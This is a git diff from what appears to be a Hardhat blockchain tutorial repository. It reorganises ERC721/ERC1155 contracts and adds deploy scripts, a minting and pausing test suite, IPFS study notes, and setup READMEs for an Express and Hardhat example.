diff --git a/Example10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155AllowanceWrapper.sol b/basic/10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155AllowanceWrapper.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155AllowanceWrapper.sol
rename to basic/10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155AllowanceWrapper.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155Mintable.sol b/basic/10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155Mintable.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155Mintable.sol
rename to basic/10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155Mintable.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155MixedFungible.sol b/basic/10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155MixedFungible.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155MixedFungible.sol
rename to basic/10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155MixedFungible.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155MixedFungibleMintable.sol b/basic/10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155MixedFungibleMintable.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155MixedFungibleMintable.sol
rename to basic/10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155MixedFungibleMintable.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155MockReceiver.sol b/basic/10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155MockReceiver.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155MockReceiver.sol
rename to basic/10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155MockReceiver.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/ERC1155/ERC165.sol b/basic/10-hardhat-ipfs-erc721/backup/ERC1155/ERC165.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/ERC1155/ERC165.sol
rename to basic/10-hardhat-ipfs-erc721/backup/ERC1155/ERC165.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/ERC1155/IERC1155.sol b/basic/10-hardhat-ipfs-erc721/backup/ERC1155/IERC1155.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/ERC1155/IERC1155.sol
rename to basic/10-hardhat-ipfs-erc721/backup/ERC1155/IERC1155.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/ERC1155/IERC1155Metadata.sol b/basic/10-hardhat-ipfs-erc721/backup/ERC1155/IERC1155Metadata.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/ERC1155/IERC1155Metadata.sol
rename to basic/10-hardhat-ipfs-erc721/backup/ERC1155/IERC1155Metadata.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/ERC1155/IERC1155TokenReceiver.sol b/basic/10-hardhat-ipfs-erc721/backup/ERC1155/IERC1155TokenReceiver.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/ERC1155/IERC1155TokenReceiver.sol
rename to basic/10-hardhat-ipfs-erc721/backup/ERC1155/IERC1155TokenReceiver.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/ERC1155/SafeMath.sol b/basic/10-hardhat-ipfs-erc721/backup/ERC1155/SafeMath.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/ERC1155/SafeMath.sol
rename to basic/10-hardhat-ipfs-erc721/backup/ERC1155/SafeMath.sol
diff --git a/Example09-hardhat-react/contracts/extensions/ERC165.sol b/basic/10-hardhat-ipfs-erc721/contracts/ERC165.sol
similarity index 100%
rename from Example09-hardhat-react/contracts/extensions/ERC165.sol
rename to basic/10-hardhat-ipfs-erc721/contracts/ERC165.sol
diff --git a/Example10-hardhat-ipfs-erc721/contracts/ERC721.sol b/basic/10-hardhat-ipfs-erc721/contracts/ERC721.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/ERC721.sol
rename to basic/10-hardhat-ipfs-erc721/contracts/ERC721.sol
diff --git a/Example10-hardhat-ipfs-erc721/contracts/ERC721PresetMinterPauserAutoId.sol b/basic/10-hardhat-ipfs-erc721/contracts/ERC721PresetMinterPauserAutoId.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/ERC721PresetMinterPauserAutoId.sol
rename to basic/10-hardhat-ipfs-erc721/contracts/ERC721PresetMinterPauserAutoId.sol
diff --git a/Example09-hardhat-react/contracts/extensions/IERC165.sol b/basic/10-hardhat-ipfs-erc721/contracts/IERC165.sol
similarity index 100%
rename from Example09-hardhat-react/contracts/extensions/IERC165.sol
rename to basic/10-hardhat-ipfs-erc721/contracts/IERC165.sol
diff --git a/Example10-hardhat-ipfs-erc721/contracts/IERC721.sol b/basic/10-hardhat-ipfs-erc721/contracts/IERC721.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/IERC721.sol
rename to basic/10-hardhat-ipfs-erc721/contracts/IERC721.sol
diff --git a/basic/10-hardhat-ipfs-erc721/contracts/MYERC721.sol b/basic/10-hardhat-ipfs-erc721/contracts/MYERC721.sol
new file mode 100644
index 000000000..24c74bf4b
--- /dev/null
+++ b/basic/10-hardhat-ipfs-erc721/contracts/MYERC721.sol
@@ -0,0 +1,12 @@
+
+pragma solidity ^0.8.0;
+
+import "./ERC721PresetMinterPauserAutoId.sol";
+
+contract MYERC721 is ERC721PresetMinterPauserAutoId {
+    constructor(string memory _name, string memory _symbol, string memory _baseTokenURI) public ERC721PresetMinterPauserAutoId(_name, _symbol,_baseTokenURI)
+    {
+    }
+
+    
+}
\ No newline at end of file
diff --git a/Example10-hardhat-ipfs-erc721/contracts/extensions/AccessControl.sol b/basic/10-hardhat-ipfs-erc721/contracts/extensions/AccessControl.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/extensions/AccessControl.sol
rename to basic/10-hardhat-ipfs-erc721/contracts/extensions/AccessControl.sol
diff --git a/Example10-hardhat-ipfs-erc721/contracts/extensions/AccessControlEnumerable.sol b/basic/10-hardhat-ipfs-erc721/contracts/extensions/AccessControlEnumerable.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/extensions/AccessControlEnumerable.sol
rename to basic/10-hardhat-ipfs-erc721/contracts/extensions/AccessControlEnumerable.sol
diff --git a/Example09-hardhat-react/contracts/utils/Address.sol b/basic/10-hardhat-ipfs-erc721/contracts/extensions/Address.sol
similarity index 100%
rename from Example09-hardhat-react/contracts/utils/Address.sol
rename to basic/10-hardhat-ipfs-erc721/contracts/extensions/Address.sol
diff --git a/Example09-hardhat-react/contracts/utils/Context.sol b/basic/10-hardhat-ipfs-erc721/contracts/extensions/Context.sol
similarity index 100%
rename from Example09-hardhat-react/contracts/utils/Context.sol
rename to basic/10-hardhat-ipfs-erc721/contracts/extensions/Context.sol
diff --git a/Example09-hardhat-react/contracts/utils/Counters.sol b/basic/10-hardhat-ipfs-erc721/contracts/extensions/Counters.sol
similarity index 100%
rename from Example09-hardhat-react/contracts/utils/Counters.sol
rename to basic/10-hardhat-ipfs-erc721/contracts/extensions/Counters.sol
diff --git a/Example10-hardhat-ipfs-erc721/contracts/extensions/ERC721Burnable.sol b/basic/10-hardhat-ipfs-erc721/contracts/extensions/ERC721Burnable.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/extensions/ERC721Burnable.sol
rename to basic/10-hardhat-ipfs-erc721/contracts/extensions/ERC721Burnable.sol
diff --git a/Example10-hardhat-ipfs-erc721/contracts/extensions/ERC721Enumerable.sol b/basic/10-hardhat-ipfs-erc721/contracts/extensions/ERC721Enumerable.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/extensions/ERC721Enumerable.sol
rename to basic/10-hardhat-ipfs-erc721/contracts/extensions/ERC721Enumerable.sol
diff --git a/Example10-hardhat-ipfs-erc721/contracts/extensions/ERC721Holder.sol b/basic/10-hardhat-ipfs-erc721/contracts/extensions/ERC721Holder.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/extensions/ERC721Holder.sol
rename to basic/10-hardhat-ipfs-erc721/contracts/extensions/ERC721Holder.sol
diff --git a/Example10-hardhat-ipfs-erc721/contracts/extensions/ERC721Pausable.sol b/basic/10-hardhat-ipfs-erc721/contracts/extensions/ERC721Pausable.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/extensions/ERC721Pausable.sol
rename to basic/10-hardhat-ipfs-erc721/contracts/extensions/ERC721Pausable.sol
diff --git a/Example10-hardhat-ipfs-erc721/contracts/extensions/ERC721URIStorage.sol b/basic/10-hardhat-ipfs-erc721/contracts/extensions/ERC721URIStorage.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/extensions/ERC721URIStorage.sol
rename to basic/10-hardhat-ipfs-erc721/contracts/extensions/ERC721URIStorage.sol
diff --git a/Example09-hardhat-react/contracts/utils/EnumerableSet.sol b/basic/10-hardhat-ipfs-erc721/contracts/extensions/EnumerableSet.sol
similarity index 100%
rename from Example09-hardhat-react/contracts/utils/EnumerableSet.sol
rename to basic/10-hardhat-ipfs-erc721/contracts/extensions/EnumerableSet.sol
diff --git a/Example10-hardhat-ipfs-erc721/contracts/extensions/IERC721Enumerable.sol b/basic/10-hardhat-ipfs-erc721/contracts/extensions/IERC721Enumerable.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/extensions/IERC721Enumerable.sol
rename to basic/10-hardhat-ipfs-erc721/contracts/extensions/IERC721Enumerable.sol
diff --git a/Example10-hardhat-ipfs-erc721/contracts/extensions/IERC721Metadata.sol b/basic/10-hardhat-ipfs-erc721/contracts/extensions/IERC721Metadata.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/extensions/IERC721Metadata.sol
rename to basic/10-hardhat-ipfs-erc721/contracts/extensions/IERC721Metadata.sol
diff --git a/Example10-hardhat-ipfs-erc721/contracts/extensions/IERC721Receiver.sol b/basic/10-hardhat-ipfs-erc721/contracts/extensions/IERC721Receiver.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/extensions/IERC721Receiver.sol
rename to basic/10-hardhat-ipfs-erc721/contracts/extensions/IERC721Receiver.sol
diff --git a/Example10-hardhat-ipfs-erc721/contracts/extensions/Pausable.sol b/basic/10-hardhat-ipfs-erc721/contracts/extensions/Pausable.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/extensions/Pausable.sol
rename to basic/10-hardhat-ipfs-erc721/contracts/extensions/Pausable.sol
diff --git a/Example09-hardhat-react/contracts/utils/Strings.sol b/basic/10-hardhat-ipfs-erc721/contracts/extensions/Strings.sol
similarity index 100%
rename from Example09-hardhat-react/contracts/utils/Strings.sol
rename to basic/10-hardhat-ipfs-erc721/contracts/extensions/Strings.sol
diff --git a/basic/10-hardhat-ipfs-erc721/hardhat.config.js b/basic/10-hardhat-ipfs-erc721/hardhat.config.js
new file mode 100644
index 000000000..6167f4819
--- /dev/null
+++ b/basic/10-hardhat-ipfs-erc721/hardhat.config.js
@@ -0,0 +1,45 @@
+require("@nomicfoundation/hardhat-toolbox");
+const fs = require('fs');
+require('dotenv').config();
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task('accounts', 'Prints the list of accounts', async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+
+function mnemonic() {
+  return process.env.PRIVATE_KEY;
+}
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: '0.8.0',
+  networks: {
+    localhost: {
+      url: 'http://localhost:8545',
+      //gasPrice: 125000000000,  // you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    sepolia: {
+      url: 'https://sepolia.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    mainnet: {
+      url: 'https://mainnet.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+  },
+};
diff --git a/basic/10-hardhat-ipfs-erc721/ipfs.md b/basic/10-hardhat-ipfs-erc721/ipfs.md
new file mode 100644
index 000000000..f19b4e022
--- /dev/null
+++ b/basic/10-hardhat-ipfs-erc721/ipfs.md
@@ -0,0 +1,149 @@
+
+## The lifecycle of data in IPFS
+1. Content-addressable representation
+
+The file is transformed into a content-addressable representation using a CID. The basic idea is that this representation makes files and directories content-addressable via CIDs by chunking files into smaller blocks, calculating their hashes, and constructing a Merkle DAG.
+
+
+2. Pinning
+
+. Simply saving the CID on the node does not mean the CID is retrievable, so pinning must be used. Pinning allows the node to advertise that it has the CID, and provide it to the network.
+
+Advertising: In this step, a CID is made discoverable to the IPFS network by advertising a record linking the CID and the server's IP address to the DHT. Advertising is a continuous process that repeats typically every 12 hours. The term publishing is also commonly used to refer to this step.
+
+Providing: The content-addressable representation of the CID is persisted on one of web3.storage's IPFS nodes (servers running an IPFS node) and made publicly available to the IPFS network.
+
+
+
+3. Retrieval
+
+an IPFS node fetches the blocks of the CID and constructs the Merkle DAG. This usually involves several steps:
+
+- Content routing: Content routing is facilitated by either the DHT, asking already connected peers over Bitswap, or making an HTTP call to a delegated routing server like the network indexer. The term content discovery is also commonly used to refer to this step.
+
+- Block fetching: An IPFS node fetches the blocks of the Merkle DAG (of the file or folder) from providers.
+
+- Verification: The IPFS node verifies the blocks fetched by hashing them and ensuring that the resulting hash is correct. Note that this type of retrieval is trustless; that is, blocks can come from any node in the network.
+
+- Local access: Once all blocks are present, the Merkle DAG can be constructed, making the file or directory underlying the CID successfully replicated and accessible.
+
+
+4. Deleting
+
+## node type 
+- Relay
+If an IPFS node deems itself unreachable by the public internet, IPFS nodes may choose to use a relay node as a kind of VPN in an attempt to reach the unreachable node.
+
+
+- Bootstrap
+Both Kubo and Helia nodes use bootstrap nodes to initially enter the DHT.
+
+
+- Delegate routing
+When IPFS nodes are unable to run Distributed Hash Table (DHT) logic on their own, they delegate the task to a delegate routing node. Publishing works with arbitrary CID codecs
+
+
+## Observe Peer 
+See who you're directly connected to:
+```
+ipfs swarm peers
+```
+
+Manually connect to a specific peer
+```ipfs swarm connect /dnsaddr/bootstrap.libp2p.io/p2p/QmNnooDu7bfjPFoTZYxMNLWUQJyrVwtbZg5gBMjTezGAJN
+```
+
+
+Search for a given peer on the network:
+```
+ipfs dht findpeer QmNnooDu7bfjPFoTZYxMNLWUQJyrVwtbZg5gBMjTezGAJN
+```
+
+Prioritizing connections to certain peers is called Peering, and you can tell IPFS which peers to prioritize by editing the Peering configuration in your IPFS config file.
+
+```
+{
+  "Peering": {
+    "Peers": [
+      {
+        "ID": "QmcfgsJsMtx6qJb74akCw1M24X1zFwgGo11h1cuhwQjtJP",
+        "Addrs": ["/dnsaddr/node-8.ingress.cloudflare-ipfs.com"]
+      }
+    ]
+  }
+}```
+
+
+## Sharding IPFS
+https://github.com/Alexcitten/ShardingIPFS/blob/main/index.js
+
+## IPFS: pubsub
+
+https://docs.libp2p.io/concepts/pubsub/overview/
+(Publish–subscribe pattern)
+
+ipfs pubsub ls -- list all subject of the peer
+ipfs pubsub peers -- 
+ipfs pubsub pub <topic> <data> -- publish topics
+ipfs pubsub sub <topic> -- subscribe topics
+
+
+## IPFS路由系统
+ipfs系统的节点查找有两个需求：
+第一找到其他节点地址
+第二找到存储有特定数据的节点
+
+IPFS DHT的数据存储是根据数据的大小进行的：
+
+小于1KB的数据直接存储到DHT上面
+大于1KB的数据在DHT中存储的是节点ID
+
+### 节点加入
+新创建的节点必须知道至少一个已经在网络上的节点地址，连上那个节点，就可以加入网络了，所以ipfs系统提供了bootstrap命令来完成这个工作（通常情况不需要自己来做这样的造作，除非有一些特殊需求，例如：指定自己比较近的启动节点，搭建IPFS私有网络等）。
+- ipfs bootstrap list 列出来启动节点
+- ipfs bootstrap add [<peer>] 添加启动节点
+- ipfs bootstrap rm [<peer>] 删除启动节点
+
+## Merkle DAG
+内容寻址：使用多重哈希来唯一识别一个数据块的内容
+防篡改：可以方便的检查哈希值来确认数据是否被篡改
+去重：由于内容相同的数据块哈希是相同的，可以很容去掉重复的数据，节省存储空间
+
+IPFS 的数据对象结构
+```
+type IPFSLink struct {
+Name string // link 的名字
+Hash Multihash // 数据的加密哈希
+Size int // 数据大小
+}
+
+Type IPFSObject struct {
+links []IPFSLink // link数组
+data []byte // 数据内容
+}
+```
+
+ipfs -ls -v 来查看文件的分片
+ipfs block stat: 查询block的数据大小，不包含子块。
+ipfs refs：列出来数据快的子块信息
+ipfs ls or ipfs object links：显示所有的子块和块的大小
+
+
+
+
+
+
+
+## References
+
+- https://docs.ipfs.io/install/command-line/#official-distributions
+- Pin API : https://ipfs.github.io/pinning-services-api-spec/
+-  the lifecycle of data in IPFS:  
+- libp2p: https://docs.libp2p.io/concepts/pubsub/overview/
+- ipfs & file coin zhihu: https://www.zhihu.com/people/flytofuture/posts
+- ipfs private network  build and use :  https://zhuanlan.zhihu.com/p/35141862
+- local first: https://www.inkandswitch.com/local-first/
+- sharding :https://github.com/Alexcitten/ShardingIPFS/blob/main/index.js
+- orbitdb: https://github.com/orbitdb/orbitdb#browser-script-tag
+
+
diff --git a/basic/10-hardhat-ipfs-erc721/nft.json b/basic/10-hardhat-ipfs-erc721/nft.json
new file mode 100644
index 000000000..891732f0f
--- /dev/null
+++ b/basic/10-hardhat-ipfs-erc721/nft.json
@@ -0,0 +1,10 @@
+{
+    "name": "",
+    "description": "XXXX",
+    "external_url": "ipfs",
+    "image": "ipfs/1.jpg",
+    "attributes": [
+      { "trait_type": "ATK", "value": "100" },
+      { "trait_type": "Nickname", "value": "NO1" }
+    ]
+}
diff --git a/basic/10-hardhat-ipfs-erc721/package.json b/basic/10-hardhat-ipfs-erc721/package.json
new file mode 100644
index 000000000..337113989
--- /dev/null
+++ b/basic/10-hardhat-ipfs-erc721/package.json
@@ -0,0 +1,21 @@
+{
+  "name": "10-hardhat-ipfs-erc721",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "@openzeppelin/contracts": "^4.1.0",
+    "dotenv": "^16.4.5",
+    "hardhat": "^2.22.2",
+    "ipfs-api": "^26.1.2"
+  },
+  "devDependencies": {
+    "@nomicfoundation/hardhat-toolbox": "^5.0.0"
+  }
+}
diff --git a/basic/10-hardhat-ipfs-erc721/scripts/1.json b/basic/10-hardhat-ipfs-erc721/scripts/1.json
new file mode 100644
index 000000000..1070a0e2d
--- /dev/null
+++ b/basic/10-hardhat-ipfs-erc721/scripts/1.json
@@ -0,0 +1,15 @@
+{
+    "description": "Friendly OpenSea Creature that enjoys long swims in the ocean.", 
+    "external_url": "https://github.com", 
+    "image": "http://XX.XX.XX.XX/1.jpg", 
+    "name": "DL NFT",
+    "attributes": [ {
+        "trait_type": "Base", 
+        "value": "Starfish"
+      }, 
+      {
+        "trait_type": "Eyes", 
+        "value": "Big"
+      } 
+    ]
+  }
\ No newline at end of file
diff --git a/Example10-hardhat-ipfs-erc721/scripts/deploy-ipfs.js b/basic/10-hardhat-ipfs-erc721/scripts/deploy-ipfs.js
similarity index 95%
rename from Example10-hardhat-ipfs-erc721/scripts/deploy-ipfs.js
rename to basic/10-hardhat-ipfs-erc721/scripts/deploy-ipfs.js
index 4dc1865bb..57f6b79b8 100644
--- a/Example10-hardhat-ipfs-erc721/scripts/deploy-ipfs.js
+++ b/basic/10-hardhat-ipfs-erc721/scripts/deploy-ipfs.js
@@ -12,7 +12,6 @@ const { resolve } = require("path");
 
 
 async function main() {
-
     const [deployer] = await ethers.getSigners();
 
 
@@ -23,8 +22,9 @@ async function main() {
 
     const contractfactory = await ethers.getContractFactory("MYERC721");
     const myerc721Ins = await contractfactory.deploy("MYERC721","TEST","");
+    await myerc721Ins.waitForDeployment();
 
-    console.log("ERC721 address:", myerc721Ins.address);
+    console.log("ERC721 address:", myerc721Ins.target);
 
     // 监听 Transfer 事件
     myerc721Ins.on("Transfer", (from, to , token) => {
diff --git a/Example10-hardhat-ipfs-erc721/scripts/deploy_erc721_with_ipfs.js b/basic/10-hardhat-ipfs-erc721/scripts/deploy_erc721_with_ipfs.js
similarity index 93%
rename from Example10-hardhat-ipfs-erc721/scripts/deploy_erc721_with_ipfs.js
rename to basic/10-hardhat-ipfs-erc721/scripts/deploy_erc721_with_ipfs.js
index 23fe2855e..562e1ce4b 100644
--- a/Example10-hardhat-ipfs-erc721/scripts/deploy_erc721_with_ipfs.js
+++ b/basic/10-hardhat-ipfs-erc721/scripts/deploy_erc721_with_ipfs.js
@@ -20,8 +20,9 @@ async function main() {
 
     const contractfactory = await ethers.getContractFactory("MYERC721");
     const myerc721Ins = await contractfactory.deploy("MYERC721","TEST","");
+    await myerc721Ins.waitForDeployment();
 
-    console.log("ERC721 address:", myerc721Ins.address);
+    console.log("ERC721 address:", myerc721Ins.target);
 
     // 监听 Transfer 事件
     myerc721Ins.on("Transfer", (from, to , token) => {
diff --git a/Example10-hardhat-ipfs-erc721/scripts/deploy_erc721_without_ipfs.js b/basic/10-hardhat-ipfs-erc721/scripts/deploy_erc721_without_ipfs.js
similarity index 82%
rename from Example10-hardhat-ipfs-erc721/scripts/deploy_erc721_without_ipfs.js
rename to basic/10-hardhat-ipfs-erc721/scripts/deploy_erc721_without_ipfs.js
index 8b45bb6ef..f9b08adfc 100644
--- a/Example10-hardhat-ipfs-erc721/scripts/deploy_erc721_without_ipfs.js
+++ b/basic/10-hardhat-ipfs-erc721/scripts/deploy_erc721_without_ipfs.js
@@ -22,13 +22,14 @@ async function main() {
     );
 
     const contractfactory = await ethers.getContractFactory("MYERC721");
-    const myerc721Ins = await contractfactory.deploy("MYERC721","TEST","");
+    const myerc721Ins = await contractfactory.deploy("DLWM","DL","http://XX.XX.XX.XX/WaterMargin/");
+    await myerc721Ins.waitForDeployment();
 
-    console.log("ERC721 address:", myerc721Ins.address);
+    console.log("ERC721 address:", myerc721Ins.target);
 
 
     // 定义 tokenurl 
-    const tokenurl = "tokenurl"
+    //const tokenurl = "http://XX.XX.XX.XX/WaterMargin/12.jpg"
 
     // 监听 Transfer 事件
     myerc721Ins.on("Transfer", (from, to , token) => {
@@ -45,7 +46,7 @@ async function main() {
 
 
     // 调用 mintWithTokenURI
-    myerc721Ins.mintWithTokenURI(deployer.address, tokenurl)
+    myerc721Ins.mint(deployer.address)
 
 }
 
diff --git a/basic/10-hardhat-ipfs-erc721/test/erc721-test.js b/basic/10-hardhat-ipfs-erc721/test/erc721-test.js
new file mode 100644
index 000000000..565a17ade
--- /dev/null
+++ b/basic/10-hardhat-ipfs-erc721/test/erc721-test.js
@@ -0,0 +1,132 @@
+// require("@nomiclabs/hardhat-waffle");
+const { expect } = require("chai");
+const { BigNumber,keccak256,toUtf8Bytes } = ethers;
+// const { keccak256, toUtf8Bytes } = utils;
+
+const ZERO_ADDRESS = "0x0000000000000000000000000000000000000000";
+
+describe("MYERC721 contract", function () {
+  let deployer, other;
+  let token;
+
+  const name = "MYERC721";
+  const symbol = "MAIT";
+  const baseURI = "my.app/";
+
+  const DEFAULT_ADMIN_ROLE =
+    "0x0000000000000000000000000000000000000000000000000000000000000000";
+  const MINTER_ROLE = keccak256(toUtf8Bytes("MINTER_ROLE"));
+
+  beforeEach(async function () {
+    [deployer, other] = await ethers.getSigners();
+
+    const MYERC721_MOCK = await ethers.getContractFactory("MYERC721");
+    token = await MYERC721_MOCK.deploy(name, symbol, baseURI);
+    await token.waitForDeployment();
+  });
+
+  it("token has correct name", async function () {
+    expect(await token.name()).to.equal(name);
+  });
+
+  it("token has correct symbol", async function () {
+    expect(await token.symbol()).to.equal(symbol);
+  });
+
+  it("deployer has the default admin role", async function () {
+    expect(await token.getRoleMemberCount(DEFAULT_ADMIN_ROLE)).to.be.equal("1");
+    expect(await token.getRoleMember(DEFAULT_ADMIN_ROLE, 0)).to.equal(
+      deployer.address
+    );
+  });
+
+  it("deployer has the minter role", async function () {
+    expect(await token.getRoleMemberCount(MINTER_ROLE)).to.be.equal("1");
+    expect(await token.getRoleMember(MINTER_ROLE, 0)).to.equal(
+      deployer.address
+    );
+  });
+
+  it("minter role admin is the default admin", async function () {
+    expect(await token.getRoleAdmin(MINTER_ROLE)).to.equal(DEFAULT_ADMIN_ROLE);
+  });
+
+  describe("minting", function () {
+    it("deployer can mint tokens", async function () {
+      const tokenId = BigInt("0");
+
+      expect(await token.balanceOf(other.address)).to.be.equal("0");
+
+      await expect(token.mint(other.address, { from: deployer.address }))
+        .to.emit(token, "Transfer")
+        .withArgs(ZERO_ADDRESS, other.address, tokenId);
+
+      expect(await token.balanceOf(other.address)).to.be.equal("1");
+      expect(await token.ownerOf(tokenId)).to.equal(other.address);
+
+      expect(await token.tokenURI(tokenId)).to.equal(baseURI + tokenId);
+    });
+
+    it("other accounts cannot mint tokens", async function () {
+      await expect(token.connect(other).mint(other.address)).to.be.revertedWith(
+        "ERC721PresetMinterPauserAutoId: must have minter role to mint"
+      );
+    });
+  });
+
+  describe("pausing", function () {
+    it("deployer can pause", async function () {
+      await expect(token.pause())
+        .to.emit(token, "Paused")
+        .withArgs(deployer.address);
+
+      expect(await token.paused()).to.equal(true);
+    });
+
+    it("deployer can unpause", async function () {
+      await token.pause();
+      await expect(token.unpause())
+        .to.emit(token, "Unpaused")
+        .withArgs(deployer.address);
+
+      expect(await token.paused()).to.equal(false);
+    });
+
+    it("cannot mint while paused", async function () {
+      await token.pause();
+
+      await expect(
+        token.connect(deployer).mint(other.address)
+      ).to.be.revertedWith("ERC721Pausable: token transfer while paused");
+    });
+
+    it("other accounts cannot pause", async function () {
+      await expect(token.connect(other).pause()).to.be.revertedWith(
+        "ERC721PresetMinterPauserAutoId: must have pauser role to pause"
+      );
+    });
+
+    it("other accounts cannot unpause", async function () {
+      await token.pause();
+
+      await expect(token.connect(other).unpause()).to.be.revertedWith(
+        "ERC721PresetMinterPauserAutoId: must have pauser role to unpause"
+      );
+    });
+  });
+
+  describe("burning", function () {
+    it("holders can burn their tokens", async function () {
+      const tokenId = BigInt("0");
+
+      await token.mint(other.address);
+
+      await expect(token.connect(other).burn(tokenId))
+        .to.emit(token, "Transfer")
+        .withArgs(other.address, ZERO_ADDRESS, tokenId);
+
+      expect(await token.balanceOf(other.address)).to.be.equal("0");
+      expect(await token.totalSupply()).to.be.equal("0");
+    });
+  });
+});
diff --git a/basic/11-react-express-hardhat/.env.example b/basic/11-react-express-hardhat/.env.example
new file mode 100644
index 000000000..67b793141
--- /dev/null
+++ b/basic/11-react-express-hardhat/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/basic/11-react-express-hardhat/.gitignore b/basic/11-react-express-hardhat/.gitignore
new file mode 100644
index 000000000..9722dbfaf
--- /dev/null
+++ b/basic/11-react-express-hardhat/.gitignore
@@ -0,0 +1,14 @@
+node_modules
+.env
+
+# Hardhat files
+/cache
+/artifacts
+
+# TypeChain files
+/typechain
+/typechain-types
+
+# solidity-coverage files
+/coverage
+/coverage.json
diff --git a/basic/11-react-express-hardhat/README-CN.md b/basic/11-react-express-hardhat/README-CN.md
new file mode 100644
index 000000000..4822d4304
--- /dev/null
+++ b/basic/11-react-express-hardhat/README-CN.md
@@ -0,0 +1,52 @@
+中文 / [English](./README.md)
+
+## Express 结合 hardhat
+
+- 配置私钥
+  在 .env 中放入的私钥，格式为 "PRIVATE_KEY=xxxx", 然后代码自动从中读取
+
+- 安装依赖
+
+```shell
+yarn
+
+#Node 版本： v20.11.0
+```
+
+- 选择创建一个简单的项目。添加一个名为 SimpleToken.sol 的合约到 ./contracts, 编译此合约并且运行测试
+
+```shell
+npx hardhat compile
+npx hardhat test
+```
+
+- 部署
+
+```shell
+npx hardhat run scripts/deploy.js --network sepolia
+```
+
+- 找到你的本地节点账户的私有 key 以及 token 地址，导入到 Metamask 中
+
+- 后端
+
+```shell
+cd backend
+yarn
+node app.js
+```
+
+- 启动 react
+
+```shell
+cd frontend
+yarn
+yarn start
+```
+
+## 参考文档
+
+- https://github.com/dzzzzzy/Nestjs-Learning  
+- https://docs.nestjs.cn/8/firststeps  
+- https://github.com/HeyiMaster/nest-starter nestjs
+- https://www.bilibili.com/video/BV1bQ4y1A77L?p=4 netstjs Bilibili
diff --git a/basic/11-react-express-hardhat/README.md b/basic/11-react-express-hardhat/README.md
new file mode 100644
index 000000000..17039ea78
--- /dev/null
+++ b/basic/11-react-express-hardhat/README.md
@@ -0,0 +1,53 @@
+[中文](./README-CN.md) / English
+
+## Express combined with hardhat
+
+- Configure private key
+  Enter private key in .env, formatted with "PRIVATE_KEY=xxxx"
+
+- Install dependencies
+
+```shell
+yarn
+
+#Node Version: v20.11.0
+```
+
+- Create a simple project selected. Add contract names SimpleToken.sol to ./contracts and compile the contract to run testing.
+
+```shell
+npx hardhat compile
+npx hardhat test
+```
+
+- Deploy
+
+```shell
+npx hardhat run scripts/deploy.js --network goerli
+```
+
+- Find your private key and address of token in your local node's account, imported to Metamask
+
+- Backend
+
+```shell
+cd backend
+yarn
+node app.js
+```
+
